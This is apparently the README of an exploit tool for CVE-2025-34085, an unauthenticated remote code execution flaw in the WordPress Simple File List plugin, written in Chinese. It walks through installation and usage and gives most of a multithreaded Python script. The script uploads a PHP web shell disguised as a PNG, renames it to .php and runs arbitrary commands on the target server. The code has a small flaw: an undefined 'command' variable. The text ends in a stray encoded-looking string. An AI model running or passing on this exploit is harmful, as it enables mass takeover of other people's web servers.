CVE-2025-34085 — Simple File List WordPress Plugin RCE 利用工具
项目描述
本项目是一个针对 WordPress 插件 Simple File List 中严重安全漏洞 CVE-2025-34085 的利用工具。该漏洞被评定为严重级别(CVSS 10.0),属于未授权远程代码执行(Unauthenticated RCE)类型,影响 4.2.3 版本之前的所有插件版本。攻击者无需任何认证即可利用此漏洞,通过上传伪装成图片的恶意 PHP 文件并重命名为 .php 扩展名,最终在目标服务器上执行任意代码。
本工具自动化完成了漏洞利用的全过程,并采用多线程设计以提高效率,旨在用于授权的安全测试与教育研究。
功能特性
- 自动化漏洞利用:全自动执行漏洞利用步骤,包括构造请求、上传文件、重命名文件和执行命令。
- 多线程支持:通过配置
THREADS参数,支持并发测试多个目标或处理多个请求,提升效率。 - 命令执行与验证:允许用户指定要在目标服务器上执行的系统命令,并可设置
EXPECTED_SUBSTRING来验证命令执行结果。 - 用户友好交互:提供彩色终端输出,清晰展示利用进度和结果。
- 高度可配置:用户可自定义并发线程数、请求头、上传路径、重命名路径及WebShell存放路径等参数。
安装指南
环境要求
- Python 3.x
- 所需第三方库:
requests,colorama
依赖安装
可以使用 pip 安装所需的 Python 包:
pip install requests colorama
或者,您可以通过创建一个 requirements.txt 文件(内容如下)并使用 pip 安装:
requests>=2.25.1
colorama>=0.4.4
安装命令:
pip install -r requirements.txt
使用说明
基本用法
工具通过命令行参数指定目标。基础使用示例如下:
python3 CVE-2025-34085.py -u https://target-site.com/ --cmd id
命令行参数
工具支持以下参数:
-u URL, --url URL:指定目标网站的 URL(必需)。--cmd COMMAND:指定要在目标服务器上执行的系统命令(例如id,whoami)。
配置说明
您可以直接修改脚本开头的全局变量来自定义行为:
# 全局配置
EXPECTED_SUBSTRING = None # 用于验证命令输出的字符串,如 `uid=`。设置为 `None` 则接受任何输出。
THREADS = 20 # 并发线程数
HEADERS = { # HTTP 请求头
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "*/*"
}
UPLOAD_PATH = "/wp-content/plugins/simple-file-list/ee-upload-engine.php" # 上传端点
RENAME_PATH = "/wp-content/plugins/simple-file-list/ee-file-engine.php" # 重命名端点
SHELL_PATH = "/wp-content/uploads/simple-file-list/" # WebShell 存放路径
核心代码
以下是项目中的关键代码片段及详细注释:
1. 主函数与初始化部分
#!/usr/bin/env python3
import requests
import hashlib
import time
import random
import string
import uuid
import argparse
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor
from colorama import Fore, Style, init
# 初始化 colorama 以支持彩色输出
init(autoreset=True)
# 全局配置
EXPECTED_SUBSTRING = None # 用于验证命令输出的字符串,设置为 None 则接受任何输出
THREADS = 20 # 并发线程数
HEADERS = { # HTTP 请求头,伪装成浏览器
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "*/*"
}
UPLOAD_PATH = "/wp-content/plugins/simple-file-list/ee-upload-engine.php" # 文件上传端点路径
RENAME_PATH = "/wp-content/plugins/simple-file-list/ee-file-engine.php" # 文件重命名端点路径
SHELL_PATH = "/wp-content/uploads/simple-file-list/" # 上传文件最终存储路径
2. 横幅与辅助函数
def banner():
"""打印工具名称和作者信息的彩色横幅。"""
print(Fore.RED + Style.BRIGHT + r"""
██████╗ ██╗ █████╗ ██████╗ ██╗ ██╗ █████╗ ███████╗ ██╗ ██╗
██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║ ██║
██████╔╝ ██║ ███████║ ██║ █████╔╝ ███████║ ███████╗ ███████║
██╔══██╗ ██║ ██╔══██║ ██║ ██╔═██╗ ██╔══██║ ╚════██║ ██╔══██║
██████╔╝ ███████╗ ██║ ██║ ╚██████╗ ██║ ██╗ ██║ ██║ ███████║ ██║ ██║
╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝
CVE-2025-34085 — Simple File List WordPress Plugin RCE 📌
Author: Black Ash | B1ack4sh
""")
print(Fore.RED + "[•] Starting multithreaded exploit...\n")
def normalize_url(domain):
"""确保 URL 以正确的协议开头(默认为 http),并移除末尾的斜杠。"""
if not domain.startswith("http://") and not domain.startswith("https://"):
return "http://" + domain
return domain.rstrip('/')
def rand_str(n=8):
"""生成指定长度的随机字符串,用于创建唯一的文件名。"""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))
def generate_payload(cmd=None, inline=False):
"""
生成 PHP 载荷。
Args:
cmd (str): 要执行的系统命令。
inline (bool): 如果为 True,生成直接执行命令的代码;否则生成通过 GET 参数接收命令的代码。
Returns:
str: 构造好的 PHP 代码字符串。
"""
if inline:
return f"system('{cmd}');"
return "system($_GET['cmd']);"
3. 漏洞利用主函数
def send_exploit(target):
"""
针对单个目标执行完整的漏洞利用链。
Args:
target (str): 目标网站的 URL。
"""
url = normalize_url(target)
filename = rand_str() # 生成随机基础文件名
timestamp = str(int(time.time())) # 当前时间戳
# 根据时间戳和固定盐值生成 token,模拟插件的安全机制
token = hashlib.md5(f'unique_salt{timestamp}'.encode()).hexdigest()
# 构造 PHP 载荷内容
php_payload = f"<?php {generate_payload()} ?>"
# 步骤1: 上传伪装成图片的 PHP 文件
upload_url = urljoin(url, UPLOAD_PATH)
files = {
'file': (f'{filename}.png', php_payload, 'image/png') # 伪装成 PNG 文件
}
data = {
'eeSFL_ID': 1,
'eeSFL_FileUploadDir': '/', # 上传目录
'timestamp': timestamp,
'token': token
}
try:
# 发送上传请求
resp = requests.post(upload_url, files=files, data=data, headers=HEADERS, timeout=30)
if resp.status_code == 200 and 'eeSFL_Success' in resp.text:
print(Fore.GREEN + f"[+] Upload successful for {target}")
else:
print(Fore.YELLOW + f"[-] Upload failed for {target}")
return
except Exception as e:
print(Fore.RED + f"[!] Upload error for {target}: {e}")
return
# 步骤2: 将上传的文件重命名为 .php 扩展名
rename_url = urljoin(url, RENAME_PATH)
rename_data = {
'eeSFL_ID': 1,
'eeFileOldName': f'{filename}.png', # 原文件名
'eeListID': 0,
'eeFileAction': 'rename',
'eeFileNewName': f'{filename}.php' # 新文件名
}
try:
# 发送重命名请求
resp = requests.post(rename_url, data=rename_data, headers=HEADERS, timeout=30)
if resp.status_code == 200:
print(Fore.GREEN + f"[+] Rename successful for {target}")
else:
print(Fore.YELLOW + f"[-] Rename failed for {target}")
return
except Exception as e:
print(Fore.RED + f"[!] Rename error for {target}: {e}")
return
# 步骤3: 访问重命名后的 PHP 文件以执行命令
shell_url = urljoin(url, f"{SHELL_PATH}{filename}.php?cmd={command}")
try:
# 发送 GET 请求执行命令,cmd 参数通过 URL 传递
resp = requests.get(shell_url, headers=HEADERS, timeout=30)
if EXPECTED_SUBSTRING is None or EXPECTED_SUBSTRING in resp.text:
print(Fore.CYAN + f"[*] Command output for {target}:")
print(resp.text)
else:
print(Fore.YELLOW + f"[-] Unexpected output from {target}")
except Exception as e:
print(Fore.RED + f"[!] Shell access error for {target}: {e}")
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPo88U8LVX5sLNTHXXTjqqY